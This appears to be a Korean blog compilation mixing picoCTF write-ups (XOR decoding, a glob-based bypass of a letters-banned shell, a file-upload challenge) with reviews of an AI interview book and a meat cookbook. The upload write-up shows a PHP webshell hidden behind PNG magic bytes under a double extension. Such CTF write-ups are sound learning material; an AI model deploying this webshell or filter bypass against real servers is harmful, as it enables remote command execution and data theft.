아래와 같은 Python bytecode를 준다. Python bytecode는 Python 코드의 중간 단계라고 생각하면 된다. 그래서 그런지 살짝 assembly와 유사하게 생겼다. C로 작성된 Python Compiler가 Python 코드를 bytecode로 바꾼다. Python bytecode는 __pycache__ directory에 .pyc 파일로 저장이 된다. Python bytecode는 여러 platform(Linux, Windows, MacOS)에서 모두 동작해야 하기 때문에 platform 독립적이다.
[[:space:]]는 whitespace(' ', '\t' , '\n' , '\r')를 가리킨다.
Regular Expression에서 ^는 특정한 패턴으로 시작해야 한다는 뜻이다. *는 패턴에 매칭하는 부분이 최소 0개 이상이어야 한다. $는 line의 끝을 의미한다. tr '\n' ', '는 '\n'을 ', '로 바꾸는 역할이다. sed 's/,$//는 줄 끝에 있는 $를 없애준다.
즉 위의 command가 하는 역할을 한 줄로 하면 whitespace가 없는 줄만 선택해서 newline을 ','로 바꾸고 줄 끝에 있는 ', '는 없애는 것이다.
key_list는 몇 글자 안 돼서 손으로 고른 후에 input_list랑 xor 하는 Python 코드를 짰는데 flag가 개판으로 나온다.
from itertools import cycle
input_list=[4, 54, 41, 0, 112, 32, 25, 49, 33, 3, 0, 0, 57, 32, 108, 23, 48, 4, 9, 70, 7, 110, 36, 8, 108, 7, 49, 10, 4, 86, 43, 59, 124, 86, 0, 69, 59, 47, 93, 78]
key_list='J_o3t'
result=[a ^ ord(b) for a,b in zip(input_list,cycle(key_list))]
flag=''.join(chr(c) for c in result)
print(flag)
NiF3jF^wJ_V]ok:2M1K;Mne7"adetd@n:
어쩔 수 없이 cyberchef를 이용했다. 여기서 XOR 키를 J_o3t로 주면 flag가 안 나온다. XOR키에 역으로 picoCTF를 주면 XOR의 교환법칙 때문에 어떤 키를 XOR 해야지 picoCTF가 나오는지를 알 수 있다.
t_Jo3을 키로 주면 picoCTF가 나오는 것 같다.
t_Jo3를 키로 설정한 후 cyberchef에서 flag를 얻어도 되고 Python 코드를 살짝 수정해도 된다.
itertools의 cycle은 xor cipher 하는데 굉장히 유용하게 쓰인다. 말 그대로 같은 elements를 반복해서 xor 하는 데 사용된다.
input_list는 이미 숫자이고 key_list만 string이기 때문에 보기 안 좋지만 한쪽에만 ord()를 걸어줬다. 참고로 숫자끼리만 xor을 할 수 있다.
from itertools import cycle
input_list=[4, 54, 41, 0, 112, 32, 25, 49, 33, 3, 0, 0, 57, 32, 108, 23, 48, 4, 9, 70, 7, 110, 36, 8, 108, 7, 49, 10, 4, 86, 43, 59, 124, 86, 0, 69, 59, 47, 93, 78]
key_list='t_Jo3'
result=[a ^ ord(b) for a,b in zip(input_list,cycle(key_list))]
flag=''.join(chr(c) for c in result)
print(flag)
flag가 나온다. Not so confusing snake
picoCTF{N0t_sO_coNfus1ng_sn@ke_d6931de2}
key_list를 섞어놔서 cyberchef에서 올바른 키를 찾아야 한다는 점은 좀 마음에 안 들었다. Cyberchef를 쓰지 않고 올바른 key를 구하는 사람이 있다면 어떻게 key를 찾았는지 물어보고 싶다. 내가 byte code를 해석하는 능력이 약해서 이렇게 푼 것인지 아니면 문제에서 이게 의도한 풀이인지 잘 모르겠다. 처음부터 그냥 올바른 key_list를 주어줘서 xor 하여 flag를 구하는 문제였으면 더 좋았을 것 같다.
Multiverse는 우리가 쉽게 이해할 수 있다. 아쉽게도 서버는 숫자와 기호로만 이루어진 키보드를 사용하고 있는 멀티버스이다.
The Multiverse is within your grasp! Unfortunately, the server that contains the secrets of the multiverse is in a universe where keyboards only have numbers and (most) symbols.
문제 설명에서 얘기하다시피 alphabet은 입력할 수가 없어서 ls, cat 등 매일 사용하는 linux command들을 사용할 수 없다.
ls
SansAlpha: Unknown character detected
SansAlpha$ cat
SansAlpha: Unknown character detected
*을 입력하면 전체 시스템에서 어떤 파일, directory들이 있는지 알려준다. 우리의 경우 blargh directory가 있다.
SansAlpha$ *
bash: blargh: command not found
blargh 밑에는 어떤 파일이나 directory가 있는지 확인하려고 */*를 입력하니 flag.txt가 있는 것을 알아냈다. 문제는 flag.txt의 read permission이 없어서 flag.txt를 볼 수 없다.
root 밑에는 어떠한 executable, directory들이 있는지 알아보기 위해서 /*를 입력했다. /bin이 있다고 알려준다.
SansAlpha$ /*
bash: /bin: Is a directory
?을 이용하면 파일 이름의 길이가 ?의 개수와 같은 파일들만 보여준다. 여기서 살짝 guessing이 들어가는데? 한개부터 ??????까지 입력을 해 봐야 한다는 것이다. ??????을 입력하면 base32를 서버 측 linux에서 base32를 띄워주다가 base64를 잘못 사용하고 있다고 알려준다. 여기서 base64를 이용해야 할 수도 있겠구나는 것을 감으로 잡아야 한다.
SansAlpha$ /*/??????
/bin/base32: extra operand '/bin/base64'
Try '/bin/base32 --help' for more information.
숫자는 사용이 가능하니 ????64로 base64를 이용하여 flag.txt를 읽으려고 했으나. 서버에서 base64가 아닌 x86_64를 선택해 버렸다. x86_64는 앞에 3글자가 오고 4,5번째 글자가 64이니 우리가 입력한 glob에 맞는 프로그램이기는 하다.
SansAlpha $/*/????64 */*
/bin/base64: extra operand '/bin/x86_64'
Try '/bin/base64 --help' for more information.
x86_64가 아닌 base64를 선택하기 위해서 4번째 글자는 !으로 '_'이 아닌 글자만 선택할 수 있게 했다. 이번에는 blargh 밑에 flag.txt 이외에도 여러 파일이 있는 것 때문에 base64가 제대로 작동하지 않았다.
SansAlpha$ /*/???[!_]64 */*
/bin/base64: extra operand 'blargh/flag.txt'
Try '/bin/base64 --help' for more information
flag.txt를 표현하기 위해서 앞에 4글자는 ?으로 표시하고 뒤에 .* 으로 어떤 확장자를 가진 파일도 선택할 수 있게끔 glob를 바꿨다.
오랜만에 나름(?) 기술적인 책을 읽었다. 원래 이 책을 읽을 생각은 없었으나 내가 빌리고 싶은 책을 남들이 전부 빌려가는 바람에 읽을만한 책이 없을까 한 참 뒤지다가 이 책이 괜찮아 보여서 빌렸다.
원서는 이 책이다. 한국어 번역본은 2019년에 나온 것 같다. 이 책은 미래학자겸 작가인 마틴 포드가 현재 AI 학계, 업계에서 가장 핫한 사람들을 인터뷰하는 구조로 이루어져 있다. 저자가 23명을 인터뷰하기 때문에 각 인터뷰 대상자의 분량이 그리 길지는 않다.
저자가 인터뷰하는 23명이 누구인지 알아보자.
1. 데미스 허사비스(Demis Hassabis)
첫 번째 인터뷰 대상자는 체스 천재였던 데미스 허사비스이다. 데미스 허사비스는 2010년 딥마인드(DeepMind)를 공동 설립했고 딥마인드는 2014년 구글에 인수되었다. 이세돌과 바둑을 둬서 이긴 알파고(Alphago)가 딥마인드에서 개발되었다. 추가로 데미스 허사비시는 올해(2024년) 노벨 화학상을 받았다.
리 페이페이는 이미지 분류를 위해 사용되는 대규모 데이터베이스 이미지넷(ImageNet)을 창안한 사람이다. 구글 클라우드에서 인공지능 및 머신러닝 담당 수석 과학자로 근무했으며 스탠퍼드 대학교의 인공지능 랩(Stanford Artificial Intellignce Lab) SAIL의 이사이다.
AI4ALL을 통해서 여성과 소외된 계층을 위해서도 인공지능을 교육하고 있다.
3. 앤드류 응 (Andrew Ng)
앤드류 응은 스탠퍼드 대학교 컴퓨터 과학과 부교수이다. 앤드류 응이 스탠퍼드에서 강의하는 CS229(Machine Learning)은 인공지능을 공부하는 이들에게는 필수인 강의이다. 교육 불평등 해소를 위해 MOOC인 Coursera를 창립했으며 중국 바이두의 수석 과학자가 되어 인공지능 그룹도 만들었다. 2018년에는 인공지능 분야에서 스타트업을 키우는 벤처 캐피털 회사인 AI 펀드를 설립했다.
닉 보스트롬은 옥스터드 대학교의 인류미래연구소(Future of Humanity Institute)의 창립 이사이다. 인류미래연구소에서는 인공지능이 인류에 가져올 영향력에 대해서 여러 분야에 걸쳐서 연구하고 있다. 슈퍼인텔리전스 등 200개가 넘는 출판물을 집필한 전문 작가이다.
제임스 매니카는 맥킨지 & 컴퍼니의 선임 파트너 겸 맥킨지 글로벌 연구소의 회장이다. 맥킨지 글로벌 연구소에서는 기술, 디지털 경제, 성장, 생산성 및 세계화에 대한 연구를 주도하고 있다. 제임스 매니카는 유명 기술 회사의 대표와 경영진들에게 컨설팅을 해주고 있다.
6. 다니엘라 러스(Daniela Rus)
다니엘라 러스는 MIT의 컨퓨터 과학 및 인공지능 연구소 CSAIL(Computer Science and Artificial Intelligence LaB)의 소장이다.
그녀는 ACM,AAAI,IEEE의 회원이고 로봇공학, 모바일 컴퓨팅, 데이터 과학 분야를 연구하고 있다.
7. 제프리 딘 (Jeffrey Dean)
제프리 딘은 1999년에 구글에 합류했다. 그는 현재 구글 브레인 프로젝트를 이끌고 있으며 구글 브레인 인공지능 연구의 총책임자이다.
ACM, AAS의 연구원이기도 하다. 구글의 기계학습 라이브러리 TensorFlow 개발을 주도하여 오픈 소스로 배포했다.
8. 다프네 콜러 (Daphne Koller)
다프네 콜러는 스탠포드 컴퓨터 과학과 교수이며 앤드류 응과 코세라(Coursera)를 공동 창업자였다. 그녀는 구글의 자회사인 칼리코의(CTO)이고 신약 개발 및 연구에서 딥러닝을 적용하고 있는 바이오기술 스타트업 인시트로(insitro)의 CEO이기도 하다.
9. 얀 르쿤 (Yann Lecunn)
얀 르쿤은 30년 이상을 인공지능과 머신러닝을 연구하고 있다. 그는 구 페이스북 현 메타(Meta)의 수석 인공지능 과학자이다. 메타 이전에는 AT&T Bell Labs에서 근무했으며 뇌의 시각 피질에서 영감을 얻은 합성곱 신경망(Convolutional Neural Networks) 개발에 기여했다. 앤드류 응과 더불어 AI 4대 천왕 중 한 명이다. 워낙 고인물이다 보니 Lex Fridman 팟캐스트에도 자주 나온다.
라나 엘 칼리오우비는 어펙티바(Affectiva)의 CEO 겸 공동 창립자이다. 어펙티바는 인간의 감정을 감지하고 이해하는 시스템을 다루고 있다.
11. 요슈아 벤지오 (Yoshua Bengio)
요슈아 벤지오는 몬트리올 대학의 컴퓨터 과학과 운용 과학 교수이다. 많은 학습 데이터에 의존하지 않고 신경망을 학습시킬 수 있는 비지도 학습(Unsupervised Learning)의 발전에 크게 기여했다. 현대 딥러닝의 교과서를 박사과정 제자 Ian Goodfellow와 같이 써서 무료로 공개하고 있다.
레이 커즈와일은 발명가 겸 사상가 겸 미래학자이다. 1999년 빌 클린턴으로부터 미국에서 주는 기술 관련 최고 훈장인 국가기술혁신 훈장(The National Medal of Technology)을 받았다. 2012년부터는 구글에서 인공지능과 자연어 이해 연구 및 개발 엔지니어 팀을 이끌고 있다. 그는 특이점이 온다(Singularity)등을 쓴 베스트셀러 작가이기도 하다.
신시아 브리지엘은 MIT Media Lab의 개인용 로봇그룹의 디렉터이자. JIbo Inc의 창립자이다.
18. 오렌 엣치오니 (Oren Etzioni)
오렌 엣치오니는 마이크로소프의 공동 설립자 폴 앨런이 2014년에 설립한 독립 기관이며 비영리 단체인 앨런 인공지능 연구소의 최고경영자이다. 메타서치(meta-search) 서비스 제공자들의 결괏값을 취합해 검색결과를 제공하는 서비스, 머신리딩(machine reading) 문자기반의 딥러닝 기술, OIE(Open Information Extraction) 자연어 처리에서 텍스트의 정보를 구조화하고 기계가 읽을 수 있게 표현하는 작업의 개최자 역할을 했다.
19. 브라이언 존슨 (Bryan Johnson)
브라이언 존슨은 커널(Kernel)을 설립했다. 커널은 사람의 수명이 연장됨에 따라 삶의 질을 획기적으로 향상시키는 연구를 하고 있다.
그는 벤모(Venmo)라는 모바일 결제 서비스를 만들기도 했다. 그는 유투버이기도 하며 굉장히 기이한 습관들을 가지고 있다.
스튜어트 J. 러셀은 UC 버클리의 컴퓨터 과학 교수겸 인간 호황 인공지능 센터의 소장을 맞고 있다. 그가 공동 집필한 책 인공지능 현대적 접근 (Artifical Intellignce: A Modern Approach)는 많은 대학에서 인공지능 교과서로 사용되고 있다.
제프리 힌튼은 역전파(Backpropagation), 볼츠만 머신(Boltzmann machine), CapsNet과 같이 딥러닝의 핵심 기술을 이끌었다.
그는 토론토 대학교 컴퓨터 과학과 명예 교수이다. 그의 제자 Ilya Sutskeva는 현재 OpenAI의 공동 창립자 중 한 명이다.
그는 앤드류 응, 얀 르쿤, 요슈아 벤지오와 함께 AI 4대 천왕 중 한 명이기도 하다. 제프리 힌튼은 올해(2024년) 노벨 물리학상을 받았다.
22. 주데아 펄 (Judea Pearl)
주데아 펄은 UCLA의 컴퓨터 과학 및 통계학 교수이자 인지 시스템 연구실 책임자이다. 그는 450편 이상의 과학 논문과 3개의 유명한 책을 집필한 저자이다. 휴리스틱(Heuristics, 1984), 확률적 추론(Probabilistic Reasoning, 1988), 인과성(2000;2009)과 2018년에는 The book of why를 집필했다. 2011년에는 컴퓨터 과학에서의 노벨상이라 여겨지는 튜링상을 수상했다.
조슈아 테넨바움은 MIT에서 컴퓨터 인지 과학 교수를 맡고 잇다. 그의 연구는 인공지능을 컴퓨터 언어로 이해하는 것, 인간 수준의 인공지능을 만드는 것을 목표로 하고 있다.
Lex Fridman은 컴퓨터 과학자 겸 유투버이다. 그의 팟캐스트에서는 유명한 과학자, 사업가 등 영향력 있는 사람들이 많이 나온다. 그는 컴퓨터 과학자이기 때문에 기술적인 대화도 패널들과 나눌 수 있어서 유명한 과학자, 공학자들과 깊이 있는 대화를 나눈다.
Lex Fridman이 기술, 공학 위주로 다룬다면 Joe Rogan은 문화, 예술, 연예, 정치 등 폭 넓게 다루는 유투버이다. 둘 다 팟캐스트로 유명하니 관심이 있다면 한 번 살펴보자.
글만 가지고 설명하면 누가 누군지 헷갈리기 때문에 패널의 얼굴을 썸네일로 사용하는 Lex Fridman의 영상들을 첨부했다. 이 책은 기술적으로 깊게 딥러닝과 인공지능을 다루는 책이 아니기 때문에 인공지능을 공부하는 적이 없어도 인공지능에 관심이 있는 사람이라면 읽어보는 것이 좋다고 생각한다. 책에 나온 패널들이 대부분이 인간 지능의 수준을 가진 일반 인공지능(AGI)이 실생활에 사용되려면 멀었고 그런 걱정을 지금부터 할 필요가 없다고 주장한다. 개인적으로 앤드류 응 교수님의 관점이 나랑 제일 비슷한 것 같다. 책의 옮긴이들이 전부 어느 정도 CS 지식이 있고 인공지능에 관심이 있어서 번역이 자연스러웠다고 느꼈다. 옮김이가 영어, 한국어, CS 지식이 있기 어려워서 CS 책을 매끄럽게 번역하기가 굉장히 어렵다고 생각하는데 번역을 잘해서 원서를 읽지 않아도 괜찮다고 생각한다. 정말 오랜만에 원서를 읽지 않아도 괜찮다는 것을 알려준 좋은 책이었다.
거의 10년 전쯤에 올리브 채널에서 하던 한식대첩을 엄마랑 아주 재미있게 본 적이 있다. 이 책은 한식대첩 시즌 3 우승자였던 (서울 팀) 임성근 셰프가 쓴 고기 책이다.
책은 크게 MEAT INFO(고기 제대로 즐기기), Chapter1 삼겹살 구이, Chapter2 돼지고기 양념구이, Chapter3 쇠고기구이, Chapter4 쇠고기 불고기, Chapter5 수육, Chapter6 고기 국물요리로 이루어져 있다.
여태까지 살면서 고기를 많이 먹어왔지만 고기에 이력번호라는 것이 있는 줄 몰랐다. 이력번호를 통해 우리가 먹는 고기에 대해 여러 정보(고기의 출생 연도, 암컷, 수컷의 유무, 잡은 날짜 및 위치...)를 알 수 있다는 사실도 이 책을 읽으면서 처음 알았다.
소와 돼지 그림을 그려서 특정 부위에서 어떤 고기가 나왔는 설명해주고 각 부위에 적절한 조리법도 알려준다.
조리도구도 석쇠, 프라이팬에 따라서 어떻게 고기를 구워야 하는지, 석쇠와 프라이팬에 구웠을 때 고기 맛이 어떻게 차이 나는지 설명한다. 고기는 물론 고기에 필요한 양념(만능간장,...)들을 만드는 방법에 대해서도 소개한다.
맛있어 보이는 고기요리가 많이 있었지만 개인적으로 해보고 싶거나 먹어보고 싶은 요리는 된장삼겹살인 것 같다. 그냥 구워 먹어도 항상 맛있는 삼겹살인데 된장 소스를 발라서 구워 먹으면 무슨 맛일까 궁금하다.
개인적으로는 정육식당이 알려주는 최고의 고기 요리보다 훨씬 맛있어 보이는 고기요리들이 많아 보였다. 아무래도 내가 한국인이어서 그런 걸 수도 있다. 닭고기 구위를 다루는 챕터가 없어서 아쉬웠다. 나는 국을 별로 좋아하지 않기 때문에 고기 국물요리(국) 대신 닭고기구이를 다루는 챕터가 있으면 더 좋았을 것 같다.
cat decrypt.sh
#!/bin/bash
# Check if the user provided a file name as an argument
if [ $# -eq 0 ]; then
echo "Expected usage: decrypt.sh <filename>"
exit 1
fi
# Store the provided filename in a variable
file_name="$1"
# Check if the provided argument is a file and not a folder
if [ ! -f "/home/ctf-player/drop-in/$file_name" ]; then
echo "Error: '$file_name' is not a valid file. Look inside the 'files' folder with 'ls -R'!"
exit 1
fi
# If there's an error reading the file, print an error message
if ! openssl enc -d -aes-256-cbc -pbkdf2 -iter 100000 -salt -in "/home/ctf-player/drop-in/$file_name" -k picoCTF; then
echo "Error: Failed to decrypt '$file_name'. This flag is fake! Keep looking!"
fi
decrypt.sh은 뒤에 파일 이름을 argument로 받고 argument로는 폴더가 아닌 파일만 받는다.
PNG 파일을 올리면 다음과 같이 성공적으로 업로드가 되었다고 알려준다. 가능하면 처리한 후에 알려준다고 한다.
더 이상 할 수 있는 게 없어서 cookies와 robots.txt를 확인해 보았다. 쿠키 값은 없어서 도움이 안 되었지만 robots.txt 에서는 보여주지 않는 directory가 1개, 텍스트 파일 1개가 있어서 robots.txt를 활용하는 게 맞는 방향인 것 같다.
instructions.txt는 다음과 같다.
PNG 사진 파일을 처리하는 web app을 만들어 보자. 앱은 사용자들이 png 사진 파일들을 업로드 할 수 있어야 된다.
업로드한 파일에서 .png 확장자를 찾고 magic bytes가 맞는지 확인해야 한다. Magic bytes가 뭔지는 잘 모르겠지만 위키피디아에서는 앞의 몇 개의 bytes가 'PNG'를 hex 값으로 있어야 한다. PNG 파일이 맞는지 검증 후 업로드된 파일들을 저장한 후 관리자가 나중에 필요할 때 다시 사용할 수 있게 만들자.
Magic bytes(Header bytes)는 거의 모든 파일(bzip, gzip, ELF, Java)에 다 있다. CTF에서 magic bytes를 이용하는 문제가 많으니 잘 알아두자.
upload directory를 볼 수 있는 권한은 없는 것 같다.
문제에서 Debian(Linux 배포판 중 하나) Server를 사용하니 webshell을 이용해서 웹 서버에서 command를 inject 하여 flag를 얻는 방향으로 접근해 보는 것이 나쁘지 않을 것 같다.
대부분의 웹 서버에서 파일의 종류를 확인할 때 파일의 magic bytes 위주로 확인해서 파일의 종류를 검사한다. PNG 파일인 것 마냥 웹 서버를 속이기 위해서 파일의 앞부분에는 PNG의 magic bytes를 넣고 뒤에 부분은 PHP 코드를 이용해서 webshell을 작성하고 webshell로 원하는 command를 실행하면 될 것 같다.
일부로 파일이름을 flag.png.php로 지었다. 중간에. png가 있으면 웹 서버에서 png 파일로 착각할 것 같았기 때문이다.
PNG
<?php
system($_GET['cmd']);
?>
처음에 맥에서는 flag.png.php를 첨부할 수 없어서 무지 당황했다. 자동으로 웹 페이지에서 원하는 파일만 선택해 주기 때문에 왼쪽에 옵션 보기를 눌러서 모든 파일을 선택하면 아무 파일이나 선택할 수 있다.
잘 업로드 되었다.
이번에도 warning과 error를 보여줘서 놀랬다. cmd 값을 request로 보내면 system 함수가 실행하는 구조이기 때문에 cmd 값을 주면 warning은 없어진다.